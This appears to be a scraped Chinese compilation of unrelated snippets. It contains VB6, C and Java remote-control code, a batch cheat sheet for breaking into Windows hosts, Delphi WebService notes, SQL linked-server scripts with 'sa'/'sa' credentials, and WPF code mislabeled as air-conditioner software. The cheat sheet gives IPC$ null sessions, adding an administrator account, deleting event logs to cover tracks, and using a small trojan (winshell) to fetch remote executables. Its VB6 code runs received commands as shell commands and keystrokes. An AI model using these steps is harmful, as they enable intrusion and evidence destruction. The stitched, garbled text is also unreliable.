"192.168.1.108"Winsock1.RemotePort = 8765Winsock1.Bind 8765Winsock2.Protocol = sckUDPProtocolWinsock2.RemoteHost = "192.168.1.108"Winsock2.RemotePort = 5677Winsock2.Bind 5678Winsock3.Protocol = sckUDPProtocolWinsock3.RemoteHost = "192.168.1.108"Winsock3.RemotePort = 5655Winsock3.Bind 5666'fCreateShellLink "..\程序\启动", "winsock", App.Path & "\winsock", "", ture, "$(Programs)"End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long) On Error Resume NextDim s As StringDim n As LongDim n1 As IntegerDim n2 As IntegerWinsock1.GetData s'Sleep (x)'If s = "delay" Then x = 2000 - x: Exit SubIf s = "test" ThenWinsock2.SendData "return"ElseIf s <> "msg" And s <> "shl" And s <> "end" And s <> "key" And s <> "mos" And s <> "scr" ThenWinsock2.SendData "get"If sh = True Then Shell sIf ms = True Then MsgBox (s)If ke = True Then SendKeys (s)If mo = True ThenIf s = "l" Or s = "r" ThenIf s = "l" Thenmouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0Elsemouse_event MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0mouse_event MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0End IfElsen = Int(s)n1 = Int(Left(s, 4))n2 = Int(Right(s, 4))SetCursorPos n1, n2ms = FalseEnd IfEnd IfWinsock2.SendData "finish"ElseIf s = "end" Then Winsock2.SendData "被控端已关闭": EndIf s = "scr" Then Winsock2.SendData "正在截图": scr: Winsock2.SendData "正在发送": SEND: Winsock2.SendData "发送完毕":If s = "msg" Then ms = True: sh = False: ke = False: mo = FalseIf s = "shl" Then sh = True: ms = False: ke = False: mo = False If s = "key" Then ke = True: sh = False: mo = False: ms = False If s = "mos" Then mo = True: sh = False: ms = False: ke = False: Winsock2.SendData "被控端鼠标移动准备"End IfEnd IfEnd Sub。
批处理远程连接方法
批处理远程连接方法(与远程主机建立空管连接)net use [url=file://\\IP]\\IP[/url]地址\ipc$ "" /use:""(以管理员身份登录远程主机)net use [url=file://\\IP]\\IP[/url]地址\ipc$ "密码" /use:"Administrator"(传送文件到远程主机WINNT目录下)copy 本机目录路径\程序[url=file://\\IP]\\IP[/url]地址\admin$(查看远程主机时间)net time [url=file://\\IP]\\IP[/url]地址(定时启动某个程序)at [url=file://\\IP]\\IP[/url]地址02:18 readme.exe(查看共享)net view [url=file://\\IP]\\IP[/url]地址(查看netbios工作组列表)nbtstat -A IP地址(将远程主机C盘映射为自己的F盘)net use f:[url=file://\\IP]\\IP[/url]地址\c$ ""/user:"Administrator"(这两条把自己增加到管理员组):net user 用户名密码/addnet localgroup Administrators 用户名/add(断开连接)net use [url=file://\\IP]\\IP[/url]地址\ipc$ /delete=====================================================<br />擦屁屁:网管论坛del C:\winnt\system32\logfiles\*.*del C:\winnt\ssytem32\config\*.evtdel C:\winnt\system32\dtclog\*.*del C:\winnt\system32\*.logdel C:\winnt\system32\*.txtdel C:\winnt\*.txtdel C:\winnt\*.log============================一、netsvc.exe下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:netsvc /list [url=file://\\IP]\\IP[/url]地址netsvc schedule [url=file://\\IP]\\IP[/url]地址/querynetsvc [url=file://\\IP]\\IP[/url]地址schedule /start二、OpenTelnet.exe远程启动主机的Telnet服务,并绑定端口到7878,例如:OpenTelnet [url=file://\\IP]\\IP[/url]地址用户名密码 1 7878然后就可以telnet到主机的7878端口,进入DOS方式下:telnet IP地址7878三、winshell.exe一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令:p Path (查看winshell主程序的路径信息)DL@bitsCN_com网管软件下载b reBoot (重新启动机器)d shutDown (关闭机器)s Shell (执行后你就会看到可爱的“C:\>”)x eXit (退出本次登录会话,此命令并不终止winshell的运行)CMD> http://……/srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)四、3389登陆器,GUI方式登录远程主机的五、elsave.exe事件日志清除工具elsave -s [url=file://\\IP]\\IP[/url]地址-l "application" -Celsave -s [url=file://\\IP]\\IP[/url]地址-l "system" -Celsave -s [url=file://\\IP]\\IP[/url]地址-l "security" -C执行后成功清除应用程序日志,系统日志,安全日志六、hbulot.exe开启win2kserver和winxp的3389服务hbulot [/r]使用/r表示安装完成后自动重起目标使设置生效。
远程调用技术代码追踪之
远程调用技术代码追踪之Webservice(一)最近阅读了SocketConn的源码和WebService 的源码,把追踪的过程写了下来,方便大家学习。
毕竟这需要精力,时间和毅力。
感谢煮茶待英雄博志区和三层数据库讨论区兄弟们的支持,特别是julian兄弟,不是他,我可能没耐心继续下去。
如果有时间,大家可以继续完善。
从socket 和Websevice的底层实现细节,我们发现BORLAND的工程师们的构思和实现的过程。
我觉得这对我们的学习应该是非常重要的。
学会思考。
学会读源码,学会分析。
希望和我交往的朋友可通过QQ或Email联系我。
?11718111另见:《远程调用技术代码追踪(socket) 》? ? ? 《远程调用技术代码追踪(第三方控件) 》webservice内部工作机制比较复杂,有些地方分析错误在所难免。
加上时间关系,比较匆忙。
有错误的地方,请斧正。
学习不密闭。
有些地方贴了些图片。
不好贴上来,所以不是很完整,有需要的,可以QQ,或者MAIL联系我。
远程调用技术内幕有关WebService的相关的知识,我就不说了,我直接分析源码。
有问题的地方请参考李维的书。
initialization(TypeInfo(IMyFirstWS), 'urn:MyFirstWSIntf-IMyFirstWS', 'utf-8');看过李维的分布式架构的应该都知道,WEB服务端对类和接口进行了注册,客户端这里也进行了注册。
然后客户端把数据通过HTTP传输到服务器端,服务器端通过拆包,去到注册管理的类中寻找相应的接口,并创建一个相应的对象,把客户端的数据压进去,调用后,把数据再传回来。
在调用这句的时候,TinvokableClassRegistry类已经创建了,由于inquire_v1也引用了InvR egistry注册,所以在哪里被引用的时候已经被创建了。
function InvRegistry: TInvokableClassRegistry;begin? if not Assigned(InvRegistryV) then? ? InitIR;? Result := ?InvRegistryV;end;初次引用会调用InitIR方法。
远程批处理
'sa', ---用户名
'sa' ---密码
USE master
GO
EXEC sp_addlinkedserver
'192.168.14.250', -------远程服务器名
N'sql server' -------数据库类型
GO
EXEC sp_addlinkedsrvlogin '192.168.14.250', ---远程服务器名
GO
EXEC sp_addlinkedserver
'192.168.13.250', -------远程服务器名
N'sql server' -------数据库类型
GO
EXEC sp_addlinkedsrvlogin '192.168.13.250', ---远程服务器名
'false', NULL,
'sa', ---用户名
'sa' ---密码
USE master
GO
EXEC sp_addlinkedserver
'192.168.20.250', -------远程服务器名
N'sql server' -------数据库类型
GO
EXEC sp_addlinkedsrvlogin '192.168.20.250', ---远程服务器名
'false', NULL,
'sa', ---用户名
c语言写简单远程控制源代码
c语言写简单远程控制源代码首先讲一下两方的通信过程:服务端启动后就进行监听,客户端主动连接服务端,连接成功后为其建立一个线程接收控制命令并进行处理。
下面讲解客户端的实现。
客户端的功能其实很简单,只要连接上服务端后就基本什么不用做了,当用户点击“发送控制”按钮后根据控制选项构造不同的命令进行发送。
下面是连接服务端的代码:// 得到服务端IPBYTEch1ch2ch3ch4m_edtServer.GetAddressch1ch2ch3ch4m_strServer.Formatu.u.u.uch1ch2c h3ch4WSADATA wsint retstruct sockaddr_in serverifWSAStartupMAKEWORD22ws 0returnifsClientsocketAF_INETSOCK_STREAM0INVALID_SOCKETreturnserver.sin_familyAF_INETserver.sin_port htonsm_nPortserver.sin_addr.s_addrinet_addrm_strServerifconnectsClientstruct sockaddr serversizeofserver0m_edtStatus.SetWindowText已连接上TCP端口:12345下面是“发送控制”按钮的响应函数,本示例程序中只有三种基本功能:信息发送(使对方弹出一个对话框,显示您所发送过去的信息)、系统控制(包括关机、重启、截获屏幕、弹出/关闭光驱5个子功能)、鼠标控制(包括随机移动、禁用输入、交换左右键3个子功能)。
我使用了三个单选框来确定是哪类基本类型的控制,下拉框来进行子功能选择。
因此每次控制要发送两次控制,第一次确定基本功能,第二次确定子功能。
char CmdBuffer1024char CmdType5CString strBufferint iSelectHANDLE hThreadDWORD dwThread// 构造命令ifm_rdoMsg.GetCheck 1 // 发送消息m_edtMsg.GetWindowTextstrBuffer // 得到输入框中的内容sprintfCmdBuffersstrBuffersprintfCmdTypec’S’else if m_rdoCtrl.GetCheck 1 // 系统控制// 只发送下拉框返回的选项索引号,服务端直接根据该索引确定子功能命令iSelect m_cmbCtrl.GetCurSelsprintfCmdBufferdiSelectsprintfCmdTypec’C’elseifm_rdoMouse.GetCheck 1 // 鼠标控制iSelectm_cmbMouse.GetCurSelsprintfCmdBufferdiSelectsprintfCmdTypec’M’elsereturn// 首先发送命令基本类型int ret sendsClientCmdTypestrlenCmdType 10ifretSOCKET_ERROR ret 0return 第1 页// 发送子功能号ret sendsClientCmdBufferstrlenCmdBuffer 10ifret SOCKET_ERROR ret0returnreturn下面再贴一段如何使服务端截获到的屏幕图像显示在picture控件中,因为时间比较紧张,我没有把图像传输这一块儿做好,就给偷了个懒,服务端截获到屏幕后直接保存在C盘根目录下,而控制端直接到该位置读取,哈哈,专门跟老师说了下,老师考虑到时间限制就放我了一马,其实就是用某些编码算法将图片压缩一下就可以了,例如JPEG,懒得弄了。
1.空调温度控制软件源代码资料
/******************************************************//**软件首页类//******************************************************/using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Windows;using System.Windows.Controls;using System.Windows.Data;using System.Windows.Documents;using System.Windows.Input;using System.Windows.Media;using System.Windows.Media.Imaging;using System.Windows.Navigation;using System.Windows.Shapes;using System.IO;public partial class Software{/// Moves the specified old index./// <param name="oldIndex">The old index.</param>/// <param name="newIndex">The new index.</param>public void Move(int oldIndex, int newIndex){this.MoveItem(oldIndex, newIndex);}/// Adds the range./// <param name="items">The items.</param>public void AddRange(params T[] items){this.BeginUpdate();for (int i = 0; i < items.Length; i++){this.Add(items[i]);}this.EndUpdate();}/// Begins the update.public void BeginUpdate(){this.update++;}/// Ends the update.public void EndUpdate(){this.EndUpdate(true);}internal virtual void EndUpdate(bool notify){update--;if (update <= 0){this.update = 0;if (notify){OnCollectionChanged(new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Reset));}}}#endregion#region Overridesprotected internal int Version{get{return this.version;}}protected bool IsInUpdate{get { return this.update > 0; }}protected override void InsertItem(int index, T item){base.InsertItem(index, item);this.OnPropertyChanged("Count");this.OnPropertyChanged("Item[]");this.OnCollectionChanged(NotifyCollectionChangedAction.Add, item, index);}protected override void SetItem(int index, T item){T oldItem = base[index];base.SetItem(index, item);this.OnPropertyChanged("Item[]");this.OnCollectionChanged(NotifyCollectionChangedAction.Replace, oldItem, item, index);}protected override void RemoveItem(int index){T item = base[index];base.RemoveItem(index);this.OnPropertyChanged("Count");this.OnPropertyChanged("Item[]");this.OnCollectionChanged(NotifyCollectionChangedAction.Remove, item, index);}protected override void ClearItems(){base.ClearItems();this.OnPropertyChanged("Count");this.OnPropertyChanged("Item[]");this.OnCollectionChanged(NotifyCollectionChangedAction.Reset);}protected virtual void MoveItem(int oldIndex, int newIndex){T item = base[oldIndex];base.RemoveItem(oldIndex);base.InsertItem(newIndex, item);this.OnPropertyChanged("Item[]");this.OnCollectionChanged(NotifyCollectionChangedAction.Move, item, newIndex, oldIndex);}#endregion#region INotifyCollectionChanged Memberspublic event NotifyCollectionChangedEventHandler CollectionChanged;protected virtual void OnCollectionChanged(NotifyCollectionChangedEventArgs args){if (this.CollectionChanged != null && update == 0){this.CollectionChanged(this, args);this.version++;}}private void OnCollectionChanged(NotifyCollectionChangedAction action){OnCollectionChanged(new NotifyCollectionChangedEventArgs(action));}private void OnCollectionChanged(NotifyCollectionChangedAction action, object item, int index){OnCollectionChanged(new NotifyCollectionChangedEventArgs(action, item, index));}private void OnCollectionChanged(NotifyCollectionChangedAction action, object oldItem, object item, int index){OnCollectionChanged(new NotifyCollectionChangedEventArgs(action, oldItem, item, index));}#endregion#region INotifyPropertyChanged Memberspublic event PropertyChangedEventHandler PropertyChanged;protected virtual void OnPropertyChanged(PropertyChangedEventArgs e){if (this.PropertyChanged != null){this.PropertyChanged(this, e);}}protected void OnPropertyChanged(string propertyName){this.OnPropertyChanged(new PropertyChangedEventArgs(propertyName));}#endregion}}}/******************************************************//**校准设置类//******************************************************/using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Windows;using System.Windows.Controls;using System.Windows.Data;using System.Windows.Documents;using System.Windows.Input;using System.Windows.Media;using System.Windows.Media.Imaging;using System.Windows.Navigation;using System.Windows.Shapes;using System.IO;public partial class Calibration settings{/// Base class for all layers.public abstract class MapLayer : ItemsControl, ILayer{/// Identifies the BaseZoomLevel dependency property.public static readonly DependencyProperty BaseZoomLevelProperty = DependencyProperty.RegisterAttached("BaseZoomLevel",typeof(double),typeof(MapLayer),new PropertyMetadata(double.NaN, new PropertyChangedCallback(LocationChangedHandler)));/// Identifies the HotSpot dependency property.public static readonly DependencyProperty HotSpotProperty = DependencyProperty.RegisterAttached("HotSpot",typeof(HotSpot),typeof(MapLayer),new PropertyMetadata(null, new PropertyChangedCallback(LocationChangedHandler)));/// Identifies the GeographicalSize dependency property.public static readonly DependencyProperty GeographicalSizeProperty = DependencyProperty.RegisterAttached("GeographicalSize",typeof(Location),typeof(MapLayer),new PropertyMetadata(Location.Empty, new PropertyChangedCallback(GeographicalSizeChangedHandler)));/// Identifies the Location dependency property.public static readonly DependencyProperty LocationProperty = DependencyProperty.RegisterAttached("Location",typeof(Location),typeof(MapLayer),new PropertyMetadata(Location.Empty, new PropertyChangedCallback(LocationChangedHandler)));/// Identifies the MaxScale dependency property.public static readonly DependencyProperty MaxScaleProperty = DependencyProperty.RegisterAttached("MaxScale",typeof(double),typeof(MapLayer),new PropertyMetadata(double.NaN, new PropertyChangedCallback(LocationChangedHandler)));/// Identifies the MinScale dependency property.public static readonly DependencyProperty MinScaleProperty = DependencyProperty.RegisterAttached("MinScale",typeof(double),typeof(MapLayer),new PropertyMetadata(double.NaN, new PropertyChangedCallback(LocationChangedHandler)));/// Identifies the ZoomRange dependency property.public static readonly DependencyProperty ZoomRangeProperty = DependencyProperty.RegisterAttached("ZoomRange",typeof(ZoomRange),typeof(MapLayer),new PropertyMetadata(ZoomRange.Empty, new PropertyChangedCallback(LocationChangedHandler)));private WeakReference mapControl = null;/// Initializes a new instance of the MapLayer class.protected MapLayer(){this.Loaded += new RoutedEventHandler(this.BaseLayer_Loaded);/// Gets or sets map control this layer belongs to.public RadMap MapControl{get{if (this.mapControl != null&& this.mapControl.IsAlive){return this.mapControl.Target as RadMap;}else{return null;}}set{RadMap oldMap = null;if (this.mapControl != null&& this.mapControl.IsAlive){oldMap = this.mapControl.Target as RadMap;}this.mapControl = value != null ? new WeakReference(value) : null;this.OnMapChanged(oldMap, value);}}/// Gets value of the attachable BaseZoomLevel property./// The BaseZoomLevel affect FrameworkElements (except MapShape based ones.) /// It specify zoom level where framework element in the information layer/// have ScaleTransform with scale = 1. If this property is set, then/// scale transformation will be applied to the framework element when/// we zoom in/out map control./// <param name="element">Element to get value of the property from.</param> /// <returns>Value of the BaseZoomLevel property.</returns>public static double GetBaseZoomLevel(DependencyObject element){return (double)element.GetV alue(BaseZoomLevelProperty);}/// Gets value of the attachable HotSpot property./// <param name="element">Element to get value of the property from.</param> /// <returns>Value of the HotSpot property.</returns>public static HotSpot GetHotSpot(DependencyObject element){return (HotSpot)element.GetValue(HotSpotProperty);}/// Gets value of the attachable GeographicalSize property./// <param name="element">Element to get value of the property from.</param> /// <returns>Value of the GeographicalSize property.</returns>public static Location GetGeographicalSize(DependencyObject element){return (Location)element.GetValue(GeographicalSizeProperty);}/// Gets value of the attachable Location property./// <param name="element">Element to get value of the property from.</param> /// <returns>Value of the Location property.</returns>public static Location GetLocation(DependencyObject element){return (Location)element.GetValue(LocationProperty);}/// Gets value of the attachable MaxScale property./// The MaxScale affect FrameworkElements (except MapShape based ones.)/// It specify maximum scale factor which will be applied to the framework element when/// it has BaseZoomLevel property set and we zoom in map control./// <param name="element">Element to get value of the property from.</param>/// <returns>Value of the MaxScale property.</returns>public static double GetMaxScale(DependencyObject element){return (double)element.GetV alue(MaxScaleProperty);}/// Gets value of the attachable MinScale property./// The MinScale affect FrameworkElements (except MapShape based ones.)/// It specify maximum scale factor which will be applied to the framework element when/// it has BaseZoomLevel property set and we zoom out map control./// <param name="element">Element to get value of the property from.</param>/// <returns>Value of the MinScale property.</returns>public static double GetMinScale(DependencyObject element){return (double)element.GetV alue(MinScaleProperty);}/// Gets value of the attachable ZoomRange property./// <param name="element">Element to get value of the property from.</param>/// <returns>Value of the ZoomRange property.</returns>public static ZoomRange GetZoomRange(DependencyObject element){return (ZoomRange)element.GetValue(ZoomRangeProperty);}/// Sets value of the attachable BaseZoomLevel property./// The BaseZoomLevel affect FrameworkElements (except MapShape based ones.)/// It specify zoom level where framework element in the information layer/// have ScaleTransform with scale = 1. If this property is set, then/// scale transformation will be applied to the framework element when/// we zoom in/out map control./// <param name="element">Element to set value of the property to.</param>/// <param name="value">Zoom level.</param>public static void SetBaseZoomLevel(DependencyObject element, double value){element.SetValue(BaseZoomLevelProperty, value);}/// Sets value of the attachable HotSpot property./// <param name="element">Element to set value of the property to.</param>/// <param name="value">Hotspot.</param>public static void SetHotSpot(DependencyObject element, HotSpot value){element.SetValue(HotSpotProperty, value);}/// Sets value of the attachable GeographicalSize property./// <param name="element">Element to set value of the property to.</param>/// <param name="value">Geographical size of the element.</param>public static void SetGeographicalSize(DependencyObject element, Location value){element.SetValue(GeographicalSizeProperty, value);}/// Sets value of the attachable Location property./// <param name="element">Element to set value of the property to.</param>/// <param name="value">Geographical location of the element.</param>public static void SetLocation(DependencyObject element, Location value){element.SetValue(LocationProperty, value);}/// Sets value of the attachable MaxScale property./// The MaxScale affect FrameworkElements (except MapShape based ones.)/// It specify maximum scale factor which will be applied to the framework element when/// it has BaseZoomLevel property set and we zoom in map control./// <param name="element">Element to get value of the property from.</param>/// <param name="value">Value of the MaxScale property.</param>public static void SetMaxScale(DependencyObject element, double value){element.SetValue(MaxScaleProperty, value);}/// Sets value of the attachable MinScale property./// The MinScale affect FrameworkElements (except MapShape based ones.)/// It specify maximum scale factor which will be applied to the framework element when/// it has BaseZoomLevel property set and we zoom out map control./// <param name="element">Element to get value of the property from.</param>/// <param name="value">Value of the MinScale property.</param>public static void SetMinScale(DependencyObject element, double value){element.SetValue(MinScaleProperty, value);}/// Sets value of the attachable ZoomRange property./// <param name="element">Element to set value of the property to.</param>/// <param name="value">Zoom range of the element.</param>public static void SetZoomRange(DependencyObject element, ZoomRange value){element.SetValue(ZoomRangeProperty, value);}/// Dispose all resources are used by RadMap control.public virtual void Dispose(){this.MapControl = null;}/// Called to arrange and size the content./// <param name="finalSize">The computed size that is used to arrange the content.</param>/// <returns>The calculated size.</returns>protected override Size ArrangeOverride(Size finalSize){this.SetClip(finalSize);return base.ArrangeOverride(finalSize);}/// Is called when map control is changed for this map layer./// <param name="oldMap">Old map control.</param>/// <param name="newMap">New map control.</param>protected abstract void OnMapChanged(RadMap oldMap, RadMap newMap);/// Set up clipping for layer.protected abstract void SetClip(Size size);/// Hotspot property changed callback./// <param name="source">Source.</param>/// <param name="eventArgs">Event Args.</param>private static void HotspotChangedHandler(DependencyObject source, DependencyPropertyChangedEventArgs eventArgs){FrameworkElement element = source as FrameworkElement;if (element != null){// Set element's hot spot.}}/// GeographicalSize property changed callback./// <param name="source">Source.</param>/// <param name="eventArgs">Event Args.</param>private static void GeographicalSizeChangedHandler(DependencyObject source, DependencyPropertyChangedEventArgs eventArgs){FrameworkElement element = source as FrameworkElement;if (element != null){// Set geographical size of the element relative to the layer.}}/// Location property changed callback./// <param name="source">Source.</param>/// <param name="eventArgs">Event Args.</param>private static void LocationChangedHandler(DependencyObject source, DependencyPropertyChangedEventArgs eventArgs){MapShape shape = source as MapShape;if (shape == null){FrameworkElement element = source as FrameworkElement;ContentPresenter presenter = source as ContentPresenter;if ((presenter != null && presenter.Content is MapShape)|| (element != null&& element.ActualWidth > 0&& element.ActualHeight > 0)){// Set location of the element relative to the layer.InformationLayer layer = element.GetParent<InformationLayer>();if (layer != null){LocationRect region = layer.Region;layer.SetRegionFromItems();if (region == layer.Region){presenter = layer.ParentOfType<ContentPresenter, InformationLayer>(element);if (presenter != null){// Copy new values.layer.ArrangeItem(presenter);}else{layer.ArrangeItem(element);}}}// Set square of the element in the Dynamic layer.DynamicLayer dynamicLayer = element.GetParent<DynamicLayer>();if (dynamicLayer != null){presenter = layer.ParentOfType<ContentPresenter, DynamicLayer>(element);if (presenter != null){dynamicLayer.MoveItem(presenter,(Location)eventArgs.NewValue);}else{dynamicLayer.MoveItem(element,(Location)eventArgs.NewValue);}}}}else{if (shape.MapCanvas != null){InformationLayer layer = yer;if (layer == null){layer = shape.GetParent<InformationLayer>();}if (layer != null){ContentPresenter presenter = layer.ItemContainerGenerator.ContainerFromItem(shape) as ContentPresenter;if (presenter == null && shape.DataContext != null){presenter = layer.ItemContainerGenerator.ContainerFromItem(shape.DataContext) as ContentPresenter;}if (presenter != null){presenter.SetValue(eventArgs.Property,eventArgs.NewValue);}}}}}private void BaseLayer_Loaded(object sender, RoutedEventArgs e){if (this.MapControl != null){Size size = new Size(this.MapControl.ActualWidth, this.MapControl.ActualHeight);this.SetClip(size);}}private T1 ParentOfType<T1, T2>(UIElement element) where T1 : DependencyObject{if (element == null) return null;DependencyObject parent = VisualTreeHelper.GetParent(element);while ((parent != null) && !(parent is T1) && !(parent is T2)){DependencyObject newVisualParent = VisualTreeHelper.GetParent(parent);if (newVisualParent != null){parent = newVisualParent;}else{// try to get the logical parent ( e.g. if in Popup)if (parent is FrameworkElement){parent = (parent as FrameworkElement).Parent;}else{break;}}}return parent as T1;}}}}/******************************************************//**温度设置类//******************************************************/using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Windows;using System.Windows.Controls;using System.Windows.Data;using System.Windows.Documents;using System.Windows.Input;using System.Windows.Media;using System.Windows.Media.Imaging;using System.Windows.Navigation;using System.Windows.Shapes;using System.IO;public partial class Temperature setting{/// DataServiceCollection.internal class DataServiceCollection<TEntity> :ObservableItemCollection<TEntity>,INotifyPropertyChangedwhere TEntity : class, INotifyPropertyChanged{public event EventHandler<LoadOperationCompletedEventArgs<TEntity>> LoadCompleted;private SynchronizationContext syncContext;private readonly DataServiceContext context;private readonly WCF.DataServiceCollection<TEntity> wcfDataServiceCollection;private IAsyncResult currentLoadOperation;private bool cancelledRequest;private bool ignoreCollectionChangedOverride;private int totalItemCount = -1;private bool isLoading;private bool hasChanges;/// Gets the total item count./// <value>The total item count.</value>public int TotalItemCount{get{return this.totalItemCount;}private set{if (this.totalItemCount != value){this.totalItemCount = value;this.OnPropertyChanged("TotalItemCount");}}}public bool IsLoading{get{return this.isLoading;}private set{if (this.isLoading != value){this.isLoading = value;this.OnPropertyChanged("IsLoading");}}}public bool HasChanges{get{return this.hasChanges;}private set{if (this.hasChanges != value){this.hasChanges = value;this.OnPropertyChanged("HasChanges");}}}/// Initializes a new instance of the DataServiceCollection class./// <param name="context">The context.</param>public DataServiceCollection(DataServiceContext context){if (context == null){throw new ArgumentNullException("context");}this.context = context;this.wcfDataServiceCollection = new WCF.DataServiceCollection<TEntity>(this.context);}public void SetSynchronizationContext(SynchronizationContext synchronizationContext){this.syncContext = synchronizationContext;}public void Load(LoadContext loadContext){this.wcfDataServiceCollection.Clear();var query = loadContext.DataServiceQuery;var queryRequestUri = query.RequestUri;this.IsLoading = true;// Any other option will break the inner logic.if (this.context.MergeOption != MergeOption.OverwriteChanges){throw new InvalidOperationException("DataServiceContext.MergeOption can only be MergeOption.OverwriteChanges.");}this.currentLoadOperation = this.context.BeginExecute<TEntity>(queryRequestUri, this.OnResultsReceived, loadContext);}public void CancelLoad(){if (this.currentLoadOperation != null&& !this.currentLoadOperation.IsCompleted){this.cancelledRequest = true;try{this.context.CancelRequest(this.currentLoadOperation);}catch (WebException){}}}/// Called when the results arrive asynchrounously from the server./// <remarks>/// Since there is no guarantee that this method will be invoked on the UI thread,/// we have to marshal the response operation back to the main application thread/// (the UI thread). Code that accesses entities, accesses the DataServiceContext or/// enumerates results of LINQ queries needs to happen on the UI thread./// </remarks>/// <param name="result">The result.</param>private void OnResultsReceived(IAsyncResult result){this.syncContext.Post(delegate(object state){this.SynchronizeContextLoadCompleted(result);}, null);}[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design","CA1031:DoNotCatchGeneralExceptionTypes")]private void SynchronizeContextLoadCompleted(IAsyncResult result){if (this.cancelledRequest){this.cancelledRequest = false;this.currentLoadOperation = null;this.IsLoading = false;var args = new LoadOperationCompletedEventArgs<TEntity>(Enumerable.Empty<TEntity>(), null, (LoadContext)result.AsyncState, true, null, 0);this.OnLoadCompleted(args);}else{QueryOperationResponse<TEntity> response = null;try{response = (QueryOperationResponse<TEntity>)this.context.EndExecute<TEntity>(result);}catch (Exception exception){this.IsLoading = false;var args = new LoadOperationCompletedEventArgs<TEntity>(Enumerable.Empty<TEntity>(), response, (LoadContext)result.AsyncState, false, exception, 0);this.OnLoadCompleted(args);return;}if (response != null){this.ProcessResponse(response, (LoadContext)result.AsyncState);}}}private void ProcessResponse(QueryOperationResponse<TEntity> response, LoadContext loadContext){//// Load the entities that have just arrived in the "state"//// DataServiceCollection so it can start "tracking" them.//// response is an IEnumerable<T> and contains the entitiesthis.wcfDataServiceCollection.Load(response);var continuation = response.GetContinuation();if (continuation != null){// Send a request for the next server page.this.currentLoadOperation = this.context.BeginExecute<TEntity>(continuation, this.OnResultsReceived, loadContext);}else{this.IsLoading = false;// This was the last page, so copy all the entities to "this".this.SuspendNotifications();this.ignoreCollectionChangedOverride = true;this.Clear();this.AddRange(this.wcfDataServiceCollection);this.ignoreCollectionChangedOverride = false;try{this.TotalItemCount = (int)response.TotalCount;}catch (InvalidOperationException){// The server refuses to tell us the total count for some reason.// Most probably the DataServiceBehavior has its// AcceptCountRequests set to false.// Set the TotalItemCount to be as much as we know.// Nothing better that we can do. Bad server, bad!this.TotalItemCount = this.Count;}this.ResumeNotifications();}var args = new LoadOperationCompletedEventArgs<TEntity>(this.wcfDataServiceCollection, response, loadContext, false, null, this.TotalItemCount);this.OnLoadCompleted(args);}protected override void OnCollectionChanged(NotifyCollectionChangedEventArgs e){base.OnCollectionChanged(e);if (this.ignoreCollectionChangedOverride){return;}switch (e.Action){case NotifyCollectionChangedAction.Add:foreach (TEntity item in e.NewItems){this.wcfDataServiceCollection.Add(item);this.TotalItemCount++;}break;case NotifyCollectionChangedAction.Remove:foreach (TEntity item in e.OldItems){this.wcfDataServiceCollection.Remove(item);this.TotalItemCount--;}break;case NotifyCollectionChangedAction.Replace:break;case NotifyCollectionChangedAction.Reset:break;default:break;}this.RefreshHasChanges();}protected override void OnItemChanged(ItemChangedEventArgs<TEntity> e){base.OnItemChanged(e);this.RefreshHasChanges();}public void RefreshHasChanges(){this.HasChanges = this.context.HasChanges();}private void OnPropertyChanged(string propertyName){this.OnPropertyChanged(new PropertyChangedEventArgs(propertyName));}protected virtual void OnLoadCompleted(LoadOperationCompletedEventArgs<TEntity> args){var handler = this.LoadCompleted;if (handler != null){handler(this, args);}}}}}/******************************************************//**校准报告类//******************************************************/using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Windows;using System.Windows.Controls;using System.Windows.Data;using System.Windows.Documents;using System.Windows.Input;using System.Windows.Media;using System.Windows.Media.Imaging;using System.Windows.Navigation;using System.Windows.Shapes;using System.IO;public partial class Calibration report{/// A content holder class for the Docking.[DefaultProperty("IsSelected")][TemplateVisualState(Name = "Normal", GroupName = "CommonStateGroup")][TemplateVisualState(Name = "Selected", GroupName = "CommonStateGroup")][TemplateVisualState(Name = "MouseOver", GroupName = "CommonStateGroup")][TemplateVisualState(Name = "Disabled", GroupName = "CommonStateGroup")][TemplateVisualState(Name = "Unfocused", GroupName = "FocusStates")][TemplateVisualState(Name = "Focused", GroupName = "FocusStates")][TemplateVisualState(Name = "LastInGroup", GroupName = "LastInGroupStates")][TemplateVisualState(Name = "NotLastInGroup", GroupName = "LastInGroupStates")] [TemplateVisualState(Name = "Pinned", GroupName = "PinnedStates")][TemplateVisualState(Name = "Unpinned", GroupName = "PinnedStates")][TelerikToolboxCategory("Containers")]。
Java实现的远程监控程序源码
由于时间关系,我只是匆忙的把源码贴上来,且是第一版本的,还望见谅。
如果您需要做这方面的开发,可以联系我,我给您改进后的源码。
实现了仅仅传输变化后的局部图像。
大大改进了性能。
QQ:403082461 Q邮:403082461@客户端:包括两个类(Client,ClientReciever)Client类:import java.awt.event.KeyEvent;import java.awt.event.KeyListener;import java.awt.event.MouseEvent;import java.awt.event.MouseListener;import java.awt.event.MouseMotionListener;import java.awt.event.MouseWheelEvent;import java.awt.event.MouseWheelListener;import java.awt.image.BufferedImage;import java.io.ByteArrayInputStream;import .DatagramPacket;import .DatagramSocket;import .InetAddress;import javax.swing.ImageIcon;import javax.swing.JFrame;import javax.swing.JLabel;import javax.swing.JPanel;import javax.swing.JScrollPane;import com.sun.image.codec.jpeg.JPEGCodec;import com.sun.image.codec.jpeg.JPEGImageDecoder;public class Client extends JFrame {private JScrollPane sp;private JLabel lb;private ImageIcon ico;public DatagramSocket sock=null;InetAddress address;int port;public Client(){ico=new ImageIcon();this.lb=new JLabel(ico);JPanel pan=new JPanel();pan.addMouseListener(new MouseListener() {@Overridepublic void mouseReleased(MouseEvent e) {// TODO Auto-generated method stubsendCommand("mouseRelease("+e.getButton()+")");}@Overridepublic void mousePressed(MouseEvent e) {// TODO Auto-generated method stubsendCommand("mousePress("+e.getButton()+")");}@Overridepublic void mouseExited(MouseEvent e) {// TODO Auto-generated method stub//用不到}@Overridepublic void 